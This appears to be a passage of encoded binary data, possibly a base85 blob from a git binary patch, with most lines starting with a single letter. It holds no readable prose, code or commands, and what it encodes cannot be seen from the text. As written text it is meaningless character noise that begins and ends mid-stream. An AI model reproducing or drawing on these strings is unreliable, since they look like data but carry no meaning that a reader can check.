z#yE0B;!VdTPD|$}b^dSg9+1EFnH*#H@Jws+PiB#Q&gd`R#?S4LxXS{2|2g56e9lgx z7{9ZWQ8}|AXTD2LggQoTN#6nWvC}G-ob|BZ8v@(%BG@+f!S-7bw%??%z5B!V{&j-v zufEeeNAy_bhJ9dph!?MrZT4=11}1;iFWIg??JHrt!8<$d2+Q@}Wx3v;kaiy?l=;6C zj_0${d*yWBg5Y?*<3IAZF?6l6&goDk%*0h9WiHj&BRLsH+Q*zcezE?gtA$1PZ``~n)F@7E`8v~|}$w&(elpixeflhbFw*^bN$(KXagL;(CNAtN z@k99DG%7^Af4wl1fAfRv0~h8Ok31#Ia;K(vjuAP`-%f}naf&jsPGiCP9Th3-s2#mS zRrmQ@e(BFNI+vyWL{@2Q&U9JVZ-Rq(2{Dk=GH~HL* znIY#-62teIc9!WRL1A?M%mvMyCL!P zCNjr%PLkuFy-&pN(R1B(TN~lr#R52%7(wp=*EtR7-QPMMTw9iFetd~5#+JAd#O>(b zXZ^Rk=z2~ar-&`%KM0N`iVu}>s4+plgA^`T-2Cknx*k>6dFk(I;#wzV&ZndIE9sov zM*~beDp2|`IG&8#=H(K9qi3M$zy0fp%=y2D%C%=+`xR=IB|{nMb0$l+<)~ zZesp+)CAeCkA{k`Jt==XX|#;<-U#^~S9-bRrwUGJYQCB*V{(3#yYX1VB@Ui0+e_ZD z63^HibR88}uv0KVe{x03C`8;&trfcyAWH*NK8DfwS6%J-v>f6IDb zN7t3<^%6Tgmx=4ZXQ+EesoDL8{OuFi9*;rX7Up4OM)})EqiZ?pA9zRiF~K#ry{1Y( z`%bK8eq$;PaTAEU&@}-1cc_VU?5g8~v+JAq1np3{ruaI zidjvZiS~iTu9UIb(q+5)yU!SiW4)K}QzO6=f%E5h&m?gjbyAS)I$jj(>%=(L*MM>U zgC7x&e1FIff_#oK|1Wx84foU07Q_u94%}-m3+Md3OyWarqs-qam zhc9>W?(?%dd>uGFzQih^e!ts7z8S7P=)5V8BYzLMzD|Ja{~qM!aE|lR@wr~E)%30w zjwevf;p)1_^YpjV;9C7$tBaWY4mrb3TpHqVhzsAgmyz45PUlW_Te0ZcRUJR9UDd?( zTFLqyo*<*~Oo=4+K9I-w*(0%q7=KbtD~r z4;std=vb+`@xRtqHgWutF($rzp^1r)`paB8S*@J$ew}6B<{VK+>gO^wlhJjRy8r%zWt_+Q*>j0&9^9YTi|s_Be%m3xOj0ozrpz}sh@bB zYT2!%4nGh1mnp`aob-95`%{O;oZm6W`CvmQhsi!mvyOS zlp}vne0m3#^1j;xOk92|y%$V*_iS|kn~In1k(_EfCC;-$;uGLEcZ<7ampV^oNn8^C zHW}1^uuJ-o8{7lxoJCXnJlM9yR64X2gHFrSGo{;YkWAz#Sb~E&U4YZpY#y=s*ih#J^r0pAXz0&fm~SxM}HKEQ`$l2yW?+8{kM?jsykh2)p z>1n7r4RV&kxb1-_-4pVQI%_0-?K7(?$ORB^`4 zwM-m*xv7aey)J6vzWiQ1mEYuFi7zC}X?!QW|6S)SqVE(sUb!lniMP`=-r9>dlI3dM zlHT#B>K}}5ZsHNAWqI5EXl8uv40<=8%AZB=S<`X7d9o}Ipw8L1jZMzf1SL%DnO**N z&s=(cqN>^0SN2QucIGzzk&bP2&b21=&S;fiCw_Gkmq;ID;$5A?O#JqcjQKq}FRK5x z!%128X30_*zw@ZLiC0}uW8!L+rT*mBGKRTJ%KkrHsI(h(TIw(SQUy(+ufeEc}@P&qY);4vRvk&PsMD;*9C@{IA#RBA6%`|QLs%tgzab?><@cE z>=$3gt$Ck(jyhdGTh;-%$LAz`E^LNw^#+X^Npe2yLSu}vXZ_MNnh|KEFcIse9XcXLhVu+g*Y=>r|8YO+c9OB?a?JOxIoTyL!3Z_*1KxcwQ{Y_ev-^ZV-X>+7woE2Y`_OD+re9`R~6DNS>?P*EhiU&oT zoLte_OnfH2)Li^h+UlIEp2_L{D%8a3={F|b|C;S3K2PVCwXdSz4Rw6Ks`TL_td{|F z4q4|^+F8WJFCK)OxY@O`CSFVLV%GU1v&*<0FDmQ35AA<+PX2^4h6@`?AEwc@h&tyr zcz}N_;~8d4AL7yVQ9A$1>INoWomXm}e3jgI&7i#2V7k%^TJ_%!-yPS)S7PLE zx5IM9>LSb7#y_9QF9GxL%DY;|bN`TdGM!t~ZKeF0#>B6_OWfdq%+E``WS(ajBg?yG zfXu@~Au`ShQb?aCH1IR^bI~>Gy4_);rOvq$l0VYFkjbf+TGso>(Upux!}=ORpD()R zSXig6$`&_1tE{Y-luade|B%b%l%e0bbe(`xDNWpNQc@Ea?Off&@A62U%Mh>lD1ZCb zJ(bC?OrN2;{^TneOg!nC^x@3`$;q%!;!>~S{|KG)*Ev2{f=s;Svc$cP%Cbx>DdQh! zi?kIhQnt;)Ub4L$YE!_}{GPd>iC=D%zHJ^S%R4fO%#GeV-A(?x-!eWu>9;f8=aaJ} z=XGxJ8IiJmB~C4IyreP*a?h(_>V#~`XX4deq(8pbW#1C+Ro&#o@hfcNe_*}%({ZWp zTMjzcs^g5eCEg7_5#qp!(I&s*9m&58IWh40b@055vkxrqxtTI12hz&^w)QHCZ{L@= zPWjlT-N-f)&sr$)j6Y@EF4U9H!Mzit&plun-yW`OYMzASipFqUF`UjV>+uZHkDF5d_DvGWFIURL)cL29}e9od)WD z`%rZKdUs|2ocguIHGarv=+=-xlfQSKY>!DMN*v)P^KkMRSzkM|%RFfuS91J6$$re| zip0ZVf7PO(%-c(JeT(k%L;9Ud#~ztwuD*RIb@pDCc~||1Yxaz2Zwe0emXmkE!bfW|ift z^IG~p?z=44xv-2Tzg@88pG+dhy3KEUn4Fe$9g(iz{ip21*TCE^^((c>xwpH7iQC<5 zY~q~3GKQ_9W!#3sXF(J__eQt17mmX}!|~@;IL2!L#}z}NZ~366PcK=zHvP4RVqgu{!{wHv96PkV*Oi5A&B{Jd#b-J1Aoi0 z{@V(WUj<_R+ew$QINGgGuKUS;c~oB0x85bwIpQ(U|F)E`fBWVbf6IQKB(0ULL=DGz zgI4psOdKz%cz5ui$C9%rBCp9`JEpjG_DU^BofT8BZZ${db~yJZ8Qr_V z?|$XDKV2uOUR?`UaUe zZEOadY=Wyo7Hdk z6)5icJ;qVL3dK>XKF1;O?1GD>?d46DMA{k>AaPU5*V`SB$(kntj(0J0ylPfPt6saT zR!7Rge%4x>!`k_)gk!yDZRKg=^bo(gThI8kC3Q{Q1mY-&LzYU;-DMJ2g7`S(?5^G1 z)XbB$x``VOtYu=~W%W(my_>{OdP>|Ypp41!hWeGCRWQCON0f*i6;`zzTVJyABZdOm%b&5mhovcNNU!B^*CddkaU z?HO)aGu6JL?QeQsx4Mpn!i*e@m}7wti2p;n*jvqWrb$ z`5qj9RL|q$__A6qj^D#`O(ze{>8Nv^>frT1t?qd{+y|aD$9;HQ+isWRWb_t84Oy7@m&fj$2RmT?^d1a?5*8M*Z@nwj)KV#}w zZzMNy>}wLgJ1_B?R#M-8q1_)ZH(5rG^)mWUte1=HH;4Ve@)h>qW`n=wSpRKK_}g%Z zxz1BHwnfSHIFxY7DYne6UjcHexa35_Se>BXmwBw}yX3r3-qgjb!{2smWbfxYQjT8N z9P4H2O0j;fV^5bl@#vYW-0l!^y(}XjpO<%18GAlYfSf5Vb@JVmbyOL~d8!)c#gwo6 z#F7~UAQvzc|YiW z8}fGU^n7jl4{nryEN@1uNR?VvbNcsrI>wH>I>vQVzR;F0|{4RRNjq-6VQX1c=T-WFKz;d0fF5YYgUF%PtnU2vrP(7Xh z&V#NsCohuLvP#9V+x2LX%o?}6mZROk^z>if%DJD5rX;t59#?hb&(A>D z8OOEjBtKlh_!97dV*bWgDA)Dd%(2H|73A-s^J(sJYC7t>Wt94r>WIe$?-3!M7<_Y) zOr}n9@C(g@jb{Ka|7W=IVDM}ap2o9-SGrW(cqq7k=G4Xug69X1051*oi-T8amdDg7 z1Ag_Qv|9oE7v00c?;qs(Qw@Cc!XV=vz;6|_-*w3Ooxv~d5bq9t#5c^;`2#!${a&xz z?GIiOd?dIR_*n1_bU&l6GXdNui}YtIxK{_sUk08!qxeejfpo4+*Iy655_~iGzIZa8 z+rjJPk~;gq)0Oiz^-qEKrTMJey##*Zd0gYa!3)B2704v>e|_vsCchH6^&!-F4e)yj zBaPPvKl9n!czy7M^zJI%&qm<$Jf;8b!0*sGWS!p|{E?6NaPa+fUR38#0B=C&b+xYq zp9<}+2Jc+8gvmb(KD?yV`2s$zfcSTCpTsFl9bZ2g=Ng|=8}|eM@ku-oe0(FRp9TDL zGy8p@ynW>Y?+N{()BI-t8Mjg~({6w86Q!j7eDEzZWV_f1-ifZm=XZN?yW7A=fge|{ z_rr}l)BXIGWu0^J9dr#S`v<6#Gb3GdPR{k|_7T(nBe5f`h|DD&{s4SOD)Cp~{`7ma zUhi*}>;CYwskzjsJ(*MPi&pUo6Ap7lLx_%2hcR~Ae>QA~BH#vAvJG$47@@FXL&&Te&eJyq# zpM~U}l+XRlM*U>x{x4Uq`*~!Dy}YX+zv=1N*2<`=j{J+{DWToF5%%#3Ut`S9?SASK z<~Y~K?H&!`XTjTEkltTBU}$wme@=qe-xO;6Jotm?JjUH}*mZP2xehOH2IbuD(vLZ; zv-F%XZns!Y>Q4f@-E!Fq8t+~5AQ^&Hhs^x0#BVHHWdseu~Zwy|T?#s}1+JcAd zkvhGV^E}!5F^(gj=Se^C%hw}})1_68{^!iy|1&>y z{D0?Pj#d6Y^QQ*Z|4%P^@4x$hapZsZ|7qR-9{N;1!*ZYY-0DnivlREz~czN1SYJUd)Frz%G+nsx~y?yaG%=nSj;{7>~ThE5{?)GH%{;=hKPsje8y&t&yg965ffk)D_1bP3@ z`4hmW)Ac#pr-Db(`qDlVeDM9^#^-|nc`U;CV(>!UrOq<&M47_OeryH!3i^((_ivlP zZ_#g;+IN7TI3W4gz^kT7Ve%h=@1o;#UFS9U(9YsNz-yF{{c3_nGXB4(%l&X8{7QZ4XCv@!&-_gN7T{hX>5R7lzdlB`uMXg?iLSFAydx~{Ch)2BeN*S}1Fv^j=HX%R?ewfLoqrNMD}A5UUapDEtJid2 zv-U3Fo&9CKcL#qpUdFi>_;0#CS=Z?c?$%MZuR-8h=-xV=KMcIaJL&&u@IiEbL+4Kd z?+e@ABJc*er9bPzi{6xWw}U@TT-ek<1pWio%USUJb7j5X0uL;j+SGXs-l(SRAAW}LY-=QTYh-toDw zj}s=>v5(IyyLduD_Tb|OPs_Jn0VkiR z{A68cpR7D?<6x)!spPsphurP&aa^BX@nf9dsmJ|UHi+)aa@4Ubk8Sy_;VTTN z@%{APBJFR%_q{7_{5yE~-!&ZXnd0$r8*bOp{o(gdal3Jp^KsOjalzKxvDF;y#wCA6 z{o(H~3#Ju!IDbD%q@43FPW5t}pXd6C!I#nbC_WF*?gL&ir{re?&-lRG=dq33OpGd-}19o*vo<^rt9}^{8_@`6~SxMb+G)*8P2Z?-nxQ#4dr@#IG@KS2J$n^ zx1ZO4dOVc?ueK!YhH`Li5sQluCoc*El4#SUnuVq+QeyjUn-9~#5tdCt#Z`K zGr-wjE5AI_+21J7?g!;52RhgJs5}^a8Lh`p%Kw1+ z?4Ol)gZ}(Q{zZ8msKfqM`Ae7lZ^|QG^1mxT2lI;S{7~-hQs<}gM}1|vIG-LR?HK?3 zE_Hq@Pv=s{^0f0WxYVItp`%V!ST9`PUHJf*pX{-eCmZG5pV-RlyR;j};q*+K&J`W= zinlMW6IbP@hV{4(ya}|+9#7>5!Sb@lC)eBcbb9U#Z`bSz$a(*kvTRnXLXIkq^EPkE z=@wCk|3mMV)&3rQU2XA?;Iru+#5(^oc)l{ljDH2smBZcmcks#8rOr?Al|;96T>wv#otR_;-3gtoF&^<8G!hJ{`Q=UGdrA zEw1`n30pOEw7UR2kj`&tUj?3?-j}ESZ*aFirOr0+A#~nD=kEp2P4A=Beh~c9&`idU zfG^r2`6s~RXACs?55bcik^I--JCmn1`R~C`e6p`MN-8ZD^IttG2r|`;IGa|onhb!7KB?R!=oMj z90R_&ewgE3qFiS+cnNy$gm0Bbj{L3Qf#BQ0U(b>J6W~AdhnYI(z%7JQ#f1)3nyhomm~@83H~!*wgXsBOd=y@I~Nxz^l>uKz>#d=jR6>@0;IvQSdDE z>@uBS61>Sb`?*hCr!08OP=AwO3H;kesZ$+%a3$$aE$}nZc}<;q;CW`*&x7K28-aIt z?qv=7+upx5126elye+tup59}n^1FavewfvG5AZsb@*3|CevF>Osq0Jz_oDT#eH!?? zBI%9K1fNJh8tME6;BDx4aQ?jD<=qJ0r?~iL@RW;knfz_wW9f^Gu5$o<866O6{};UF zN~v=hJfL6(lYa|57d^9A*SQNm5bD1LU%T4JTzQ*%_kJ^;McnR>{ zC8SO{@XV{FPDStwWhK8F_~q8(HNjKS=dA8$40sf@+Z@~jycKvJ@HXJ#w7=E$+k;nI zM8^+me0qSV=tB4O1=`001Hi|=qx<8O4+dX!z|;6}aQCKkPnpUe3w|#h-505R0r=I` zbf3HOCEz=w=)OqhE5M7<_gU?$!M*9a2<_{@`{tp0Csmz|;MJg?TfvKf?@_Lg4~s|B zJ2~h$aKFj-wBA0~rLb)4#nV5RaK5xVISA&;WSIF^9LhYLz?Rr|La};y(Ey|0|bW`Ky)Ab@nMAkI zr*j#%)5?>&^z*Fp3ogrbUU{Eb?oQ);QF-A6&VE_>d%BR4pCPH&*Hz_7<2(Cx<-1+{ zrt&N7k{q&r;EQ-KE-9+UMu%= z8Mn8}ue&VQd*xkR>eHi39N)W#y>oLK=g-P7x#WLU-oT|l-<20}@t?}K#&sU&-{gA# z@NZ`Od?|0IZmI13K)LQ-7CRp&1a7pfn#wB|2{WDt{KS-S<0Zgzj1M+mLAh>s>`D7N z-pVdM?0Rj-{;K>YdS0rdT~Di2Wp8U*hmwwYScQDK@_|Yc`jV}Tp^d`jkQt-s|JxkYF z2mV(x@qfU_(Dy-|zaQK?h2$RsFC8z`Kl=Wty$Se` zw^@w00591+kMTC(ePX0ed+?NWovp6l1$R7{( zKN8%J=BLMt`VJol-l&9^@fqOvXBRfU5Il^=N7q>fevhsf)xH&cT8QND0FNIjz6(5@ z?v>MZj({(LcF%*SToY(5?^ngKTvxy=7Yj3f9efF07pLpz*|8WP2&uM(QL7&qCL!>UL9skD>XX-52~az5iW%Aox%^KchW6 zc)h=~84m~V^tX@kg5YClf1>L|fM28g3$&L254q=MyaITafRx57gV+8l`8B{dZ%AeG z>wqt&_ZR4P8-aHZj%U0n_+r|B>iibqmFvoKwE;i3D#+sdM|iz=0>2O56Z{YQeNE^0 z1MhUo%lJz0C)dQ+fENyyIy=GF9hdx*;H!fq|19|PK9YY4Jbn-HtKif6iN64kl`Ey` z{~PdWS>hRg4?cf|hw;zgL+Sge9v`=@GXE!m#{<84G@Z#$4ZfnQ)X5C)Ur;<4{5O4% z)9q#l|Mf1|co_I182^0WRp~sru2USmNZMS+%YaWP=xMw>cxV=>Qw97Pv|9_jLv_io z2i|#WR#QI){Pp~##+!l1TOi&8{56c{0Pxjx{z@sk#v2F_BY_;>3CK9d+^Eqa~l5& z9z~xoI{ydw%d)av{{~N3SjNqLn{2;tz!QK+z`RNfJ`>hsX7DVlrG7AY3wjru?q@de zM|3@&_AqddJu=Vpg1;#w^$UPUmy_i!1@5s*^2>pbn;U4_tpe@=>#G`gJ38*w{fq)X z2kq7YZ$syqb$)$tE5CRX@Yxe`oBY<`BVc^mgRh72?*u-ss*GoE@c#6SFWsMh;3;p4 z4+IatBR&Ltrgx;NGaP&m)E@)hXNIiD3C2CG@As-Z>hSrEL&oWM@19}S7Ii$#ejt_o zy*MzN_&Ml$N&Zjp$X;G1Kh}2X=dqL0 zZd~yG(9Z3g5f z&kjB#SD^7w@Lj%=UjV%N@F0_42K=Aql3x@2aYd=$2;BQdQd6fX_+QX&EAWqWoUi-e z7CbYZKhfR=d>4Jc*4|sWK3~Dk=V?cod{67ptHh3co}X9A%ci!^7rm-k$jQq)oX)it z%w+0wenoO!pTF;L{nyI*dVmY`Y^AuZn>db3=kB2E15}-Mw7=E90K5ntKWJYKo|-;) zwC?~f8!h>J!Jj6Tb`OAWqy2!ca}>Pv4ykh*{MyVSCjT6Gyp>+oxR3VrV;7a{ahU3B z-+y=2#rb)3JU-Do>6$q&dwYMB$9~ovAGa^uZ&};DZGSV~env6-M(|sc?dRaJp91eg zpZi>&{XF;x@H^m>2TA>>;L!){=NWPxdgz7e&wQv88~pN?e5T!m;QeWTuKVKwetfdcu^S7a^P#@rZRP^f_KZ9!gyowM)V#o z-EJH3M9ZZA9l(P!Nk2P-dqO|EgO497b$WrfYw2U!?GNq=^#_Bmnk#k2g5NJCJ^{Qt z^k*`-MbEX?%R3D`^`ao-Gr-UOB|abA6V~q{@Ne|_rRy&RpVLU@;VSS>^gdjjzY#o9 zl+6Ea;A80fug>2Iex;n$IRd^P+C2_lB%jnj4c_&jY>(%_1Di_y8{m_>NS%A&uVH>Z z1uvIG@_&K1PAvB$yC0J6aYzoj{;i&UeMmg;ee}J%<-FRC&#y$_ujqTR_9Wni+hw$h zp0ckqOa|_qE5LXP@b-U%7*7rElg-Dt5BQabg^XteA6zYq@yy_xDrYjD1-x@-`aNs8 zeH~f|c=XF$#&d!fdzr=Yd>h`6RR$kP`zwC#4SO~4T6F!n_FCXI(uY}5AMEk01HLDF znB#YOu2Ua8yq%x%4&b-w`Un0UpYwZw_onrwy)SqVIv=8a0C*C5cDMGi;GHbVp9J2W zeh1O{)4{jVdjSIPly&rH4)~lr1&q%JpHe8m)L91p_pVU$e4cIKz3B7(Qn7N5`p3YB zHW5D!o(%FIgP&MP@99%@UV!iY9=nr!n}y72_H24&EzmPUF47 zE7A=Dy3X8xWqExgJ&hMSD!z=KC!q5q!8g;h(6yHZ&rH{wX|IG%pCj6Jz&Fr&742KWm(dL%+V_BmLVu2eCnzHIPk{TGKN|F+zg(#Uf?ZmdK*s%-mkL1@l4>GI`|q71TRJVvA>qv*I^b1f16mmJa{I$ zfTvtjdpoKO-k#0_Xs-r-_h&lejletH^s+wnwCl70Z%f;$_V(a^E%ve=pSC~mx_}p@ z^J6(m*}waA2TwxJwb1?t_{B=W#`}OD+8=81ePle&1Hd!U`3LR8!1MN({E^`K>AaTC zUk3j70WafQ!Aq@5YJ4a7M*3Y_*VzZ2w2}A$@N3uT`ZLx4bKq&J`#<2rpG z+(Yn{-RRlu&F#<4C*bQ!hgn0O*yH>e{MPNP#(#sSt0MXFkIQ_%2X)edN7H^u*DntK zXB{u&rNO(+5ibY6*hA`62cHOD4}5Q3snZDDosI)_f0}_;Oq|Jj)YhK2t--f$%WLs< zfINSCgWr7_*Z7~{k#rw~&YuS!MxXoISAb8T;~edOgSUJs?QRB7kSw>!-wFPLeqYmd z_JV&67e4^*N56OL{C~lR(C_}*&w=lx<1X!2z&Fr&D(yGH2Q(4C58kf6_&e~H;Ge(aa4$NatlN!!LgwKUIsv6U6?jnDY{q@TpVRjXou3K3IelJe&kFt+JSTX^tdbuA zo~5U^sZ#>H%l2Z%OM}u|2Y3?vFr8=C*BPD#ulYH| z_yzDyfs%g>yhx8Qi?1i-_4^F`8=VKPS+1hPzk%1iA#R9}j-wyYy!gcryAvuKP0; zyaU~T&F8(jpVPrV$H{4YHn?@g*Z2bP%hkP%uL3`MS9~*gy77@Fe-?+Wx4>_JS80&i7uIxJc(u1Aj)xA=+nv_oL%v?X$s;?96L?K6t9hNsTW8zgAD``~Y7` z=ihXF_p>tom0rm5CI=te$Q<#-F*uF2dCV00`_PcU;JvLCTe}Cldg@0#kVe&n#ef0}E<_Z7KdxQKN z{m!WKdH!%d`wz$OkDgZXkyWkHm*P3Dhwn$nZ zz7PByoqyK(hrqYK%4_@>_#UW#68sL$D_!R-_#3Em4g4bbZSZL;lbSjY!CPJwPjFkt z=glqgoZ$DSir)rrI8i+D9jVhTEj>p?jay!DZ~EO?dsXlXP^SsF&pgR*1-_nsKh<@* zf`8~Q-W@zgvt(BGQTF+Vp5U3Xdm0}A-Z@pU@uA?qg1wB71i#lYx3yuveO>fe@RW7J zjBfzXmsxx#`0I+rO#Wr?jbW014g3&YZ?D^Z1zwM?_t2jBuB;b-I_}k;8T|GgFXP3* zJJI;_^W=FyP!7B-eNWV0;hxl=N9RSgR|Q|~LD%!BI#J*UHh3D30r#fgk92+$@KH&n zemn4B+Ry9!j^O*7({(|r-LBw$=(*_H`-0Etl+E~9@ZzhapEJP+Ce32<=YjX3^E|r# zBJjf>yp1mfU+*LNe}P}6>nC-cHQ>XuWHP=Ud!B>|#=<2KX?T57FT7pr4Jv572oe-EJrF2e7=|z`e)Ib~*_B zVlJsO3fv3oj0HafJ`sFlig>0!i@WGR{Lr2yf9C0gIA>E0iAyje2$mw51)g#Xc%GgKY-`|D*KIZ;Gt0eC-~6D(r%&$ zvRw?I`zCaMe8DSu$o7>9{0m*5qx1d2|0paT3Vs{5quk&=(9Z(k!!k;pqTnqdzdU%8 zVv=7Id;u(Peeg*7-9-1lG5AKP-vc}=9S`gLq2Rw^xki8&O)B}5!B^1t1zqP)@Kp3W zqxMDMpUO%88t_dtKU-h1pAWDNyi!CS;}5|H7n1zn;MvD`nS8&8G9Q}J`C(l@3wUU} z+{SZ)AE)O->im4*gXy?JdnxdN^Z+;Q6~ME0lKjfxxuH%~@SC)Lb)DMa51>D7!7HsQ zVDh_w`_D>eyf63zI**!etbHBn5b$@+lNlcleub`w*ZHHtZ_;s>_VM6}UwIp!3Erlk zmsPfy{eGYM;QL#OF9na2u$akT3GPMLqv|^Az_YCIHNF+Rd;2isJHg+Dcp5(g9xIjj z1MqzN(wY1h;5%QYHvSbnaqSS}2_DHjEKI+r)ZJ*G=S%~>p+lJQ^x#Jx1{)6o|I||Q zvx3K`<78bwCwQ7?UdAK9w?m!c;1}CPn*6fhpI=LzVvl9HcGe2BN>8%y*DeiyFUZq) zJ@8A@lUk|&vVZ@I0pA-MX1pbMQo24<=XU~+q~ize-M~*#{|EWo{pkt5_#Hi;NBIo! zW^eGY1G2HqFEC3rLX-C5_i0dG#{NwjwWe?|S&-WmKn%?It>z&F$RG3`CU)0Yjk zE`GAlANB*EK*xL9$AF)s?|s@Qg1@HEckP?O8&pkZ{5<$kdM>)ozYpGkwma=lz!!T4 z8-EF2l|Bb`{@tfCPxeDUKY?!o_k1S#m7+pSot)t7=r~!|j{tuZUch)+@G5kisq<@r z5AUDHcth~4Ns1Y72JQjl&=dSy3d!#ao*nW>f$yU0T6KS>fQQg^1={}v&pjup@mb)r z=r~j7uLM7wO?(S@t_I>ez)#chiLP@Td@6k}(0&GdcX9FC;JNAjtvde!_-C5`+TVju zr_Vv{pTJY~lyUe0UK!?X?B_C1s-~3jPYj-dj#qX4cHlkfxro|3ftNU2+;~^;PV^p0 zo!=9@Db(o=UXFe*)A{|tcfs~J2)ra+$Efp%f-j@vWbLEClhE~J+NXf`r|+BEXMxwJ z_daN!3qGTTLb>L&Or7*q;yf^(Wtn;^nf6pcLcY!Z~{vQO7 z1%3p)72P+d>z@P1-a(({4aFD;_d_LD71fELyYw{uB{GLia|Nn-Z9`|bMe5u^X;SXL|)(G%{ zZuWC^f?m@5X}}kzv43Bv^4i%iua9!nY2o63Pq*70Oa3dJw9D_o4EPxi*L z@}!r1ey=6xSAK6<&A>O5Z{YB?Eu+-GyV36Ffp7Hu z;!NW1qwM#Ey(2FUUgDNr=ht`o4FpkDA2;hF zbZSc&DuP_`fCZ2VORb zz1}~Pj|6X)*5!kv9letZ50=XUmCUiNae&qMuzI<+RcJNnbv z#reGe-2ZBM-K-0cKlG^mJh9E>*TMPy0-S$5pR+gp(Zu0d3%ObJ8V)nxhX1zj4^3Lw z*=x{y9Jo$07oU;L9?uNqPoU1R+jSiIOC#u=<=|T} z4711Ws*4YbXWw6(vxJ-FmPM9}p9jwUe_hJWnh(y;IcMKn+SyAjwby(3a&A_hY*L4x zAI|yJUHtQKdp_(VZw&caZ`kW4ZUr~1W_GEQ=5`H7om4K~pqV`nLtLDnE6(laAa4wH z_<7yzgDbgNbHMre)$Hl2xmgE8q}`ZlcAd#lwEgA~=jT*&{*_u(Kd1P+`u4ba)N!*G zfj=&8k3)cqKm6U;QRjDEH>-0lsdI3NT|ZVmH|q~@evUM^TbsNW_{BH&JRH!(&B_ug zbr!47&H3b^;Gq}o{_G-;1n1{JbNzo^Jnx9S4i9MRW+e!d`uyBx&i~cS&7#N4nC*g} zGt7RvrJGeGT>PNgjm+FBW*vuoetsHz=Jsw@<~-6LetsHzBzZ76KR1lMiHjeYV~=wW@`{kp&tc&F z5#)8iU#japE|WI_uadwX&s*dzzz6!<{Xf&e%^D8A_@nJ-$tQtdUu@U8lx&?4Y9ZD;6L1~SKtNI zJnT=NFt5yq^_A$|GgQBHUpMPDc-rmu@zNR>uT0mSa(=RYZq|Fqzci<`-A@`GGV)!51{M z=lKQly5M~OAm=|I?*=|W9Tx=-ah#Yi94?0){v{-}lG$vyh*Ge7^6Gy(@XT0@7~XEcSBcA47&YsPAjX$wz|^{cIoaog$wF-a5iwu6(1MJ?kX<^QABOJjmz! zqj z=l6DTel_wd;QSsd_V?rHdj~k*AH@EZ{66>|^*trtcsDC$A?YXIN5lCM;y(e5mQ-eEmGv?>UveuR$HY&YXQL z`A_h9Q|xi;HqFiY8X^6UykUQSc`T;wtEl)t-R$})T%51F=K9rK{BmCVb0miR8q~=Y zV2{rqE&fH@-N^k?%DY(mpc1p4|{nNEOYj6we0aJ zyMjJniplbReOJiQZZ{X-N$(fq{`^6nAyV@5xZ9tz`TwHtao~LY9_JTu@yI~?bFktn zH)|>6^Ywd<@pN&%o{fD8d4}TBF8^N49)Go)l^eXlc>D8x%^GLt-%mMzBY7Uk=id$4 z6Rmf%Mu7A0Q0x=QcYyQnP3+Ui_k;8AP3-esyiyO_my%zEeBV~~{8{1Rlhrt^b8$Xj z$Mx5fXDT7%kZzgnxi`C6M@x#&yKL{T3c2{fO7?OUCO=O3ZnRrGl}FAK{@mhb#V*C} zX;r=)+i_n&bIOUmRs3D)2q%xL^5?qb$5$R%#yLMBIbX-SEj+8^`4xN}FV|13yrf?Z zi{~MG9PpMivm1}Aocr%rx1f0*LL%dymS>j`bKP<_@Tka)PM(z7O-}tex;(pi&miY} zkS8QB?bDD(p5CoT{Rsho^F79RPUXB@-M1HU+>gxpp~^kUCr_zi@{2$ntX~xB6j zVwCfG*;X;5qdu>fHjsa|dT!G$yQdn@o1^Xf!MQ*E!PgYB>#z?5A6`p*1o-oD0TzEx z=lqGvxj(s%#B(_JXBzm|!_J0Ez(-CMKLI{1AcM(24gTd}ZsX^`=ak51{5<%R zJsFK(1pk&SmGR5qb;~3(ehqxZ6KVGbc&fNLO#W@~Og*z3e*nH}G+l?F#_ciquS~^_ zKLuaDTgLwd_^h*Z|DdY#O1bNLe*^jROVay~RDPmu_WI@ZUh}9u&w0IjDCg~Zc4f&= z5BVkcNWMRK&<^n+@DAI>vx7G}CY}rY%W?4t@DGq52_El=oJr!2cHs8ybXB88gyNX%I^lA(^Iz7p2~Urhr;;x2d@DA9|GR? zkSyuTxk2)d!^a0;|Ks-HoVW{s9ei7;iDd+ud`89PN^MUv0 z*}!|}tK;Ok)c$|&#hOlDNcqR}(N11edGg9loVNZNc|~%b|AmzE{+as|rScCP ztK^ig{aZJ8C-0!@1fQ_;b)8PC&cTIMobt8LT^8l!-BteLMKzqfr}8p%&V#ojJ#M{~ z*G*N=$@?hp64}7X`zil(nDaQyRvx&esZ;(k<^Ab9CAPalc~&|{i@siY@P{H!zEk79&g=cU@)C`lm-oA_^Rkvx{h!LK*LAKFtF(Rm5O=2YdW=z?siAZIKa`L5 zF6mUipYn^*&iNCR*FRUrDgRI9;~F^UuT?(ixO4tSenr#d&4zu)TI?nC823p#J_PnCyz zJI|}<EWrM1rchq9_py7ji}Iu%u&xP6?*jh)-|R<83a ztNbm8t2*_Qo%44n*ZI{|e)fvxo$}c^KbLZyUq|J)`%u~`pPlnNDcAYYDu2ru=lzWK zmG7L}jZt-WDA#pbt2%%DcK$qK=XU!l*ZDnE{wSAxcFrH?lHXh9Z$8n?X}Q=rf4g#B zzrV^4FXB9Z*f~F+a-Ba|<&P=pygy;*{ISY){s`q+t$dFDxcb!cp~iF4@qo_v9UX2w z4E*D%EXE6f-+e0I`wD^|=qTTFODN~#qWD{6|5;i&e_!@pXZMG{U$c)@{oi;~+GQWF z#^K&u*>6-(&g1Z8yc}<{&s24Op6M*%y+`AfjJc98z8QqKJeX(s!PwcuVYoPC~JkKLQgaSP`!Q2n`jN7g(0 zB9%X3uI$e@fVcORabRDe>i9zc*;gws^G?3MZv~H@F5lmGgFmJh7wYx9S2=%=^ZeVc z!{4J1g0G|jz!xRRY5W@axMp6)?}Klo_gU*Y&y@50KbTqO?JMvr zkHp`CH|-_!|2=q#OX8oD^YR|cD*gNd9u!c}^ydfE8E`4K!+Cpg+acp$iq5a<@r(-| zo=^Ij2t3;)$xjAe^10Mc0e-Qqc6~Uf_=( z$2IF^6nOQsl0OqXTPu4$@cNwtzO073sWT7!81#Q3_`*lh?o#lx-Q@h+U*Pqlr2cB~ z8&H28_}huHem8(`$uD)bf{(u?{n-P49qJqgpAU78f>(lhcmjMYjPqIW1}9{kFDd8s z+xc%+wDKGFYxp;4NUe+;+B!67bG2Zoc3v zAwL*=H?*4%d?2)25WEG{DFVLkxQs(FA^30yNiMRKRhJA33%QDGC!MwSDhlu)ehYIym)u;qP3+? zKjl0QlMht3_&RW2-eKS~i^mur30`$mY2zt(+v}a{tSDZ|cpmV@PwN{m2;LJsLOFj< 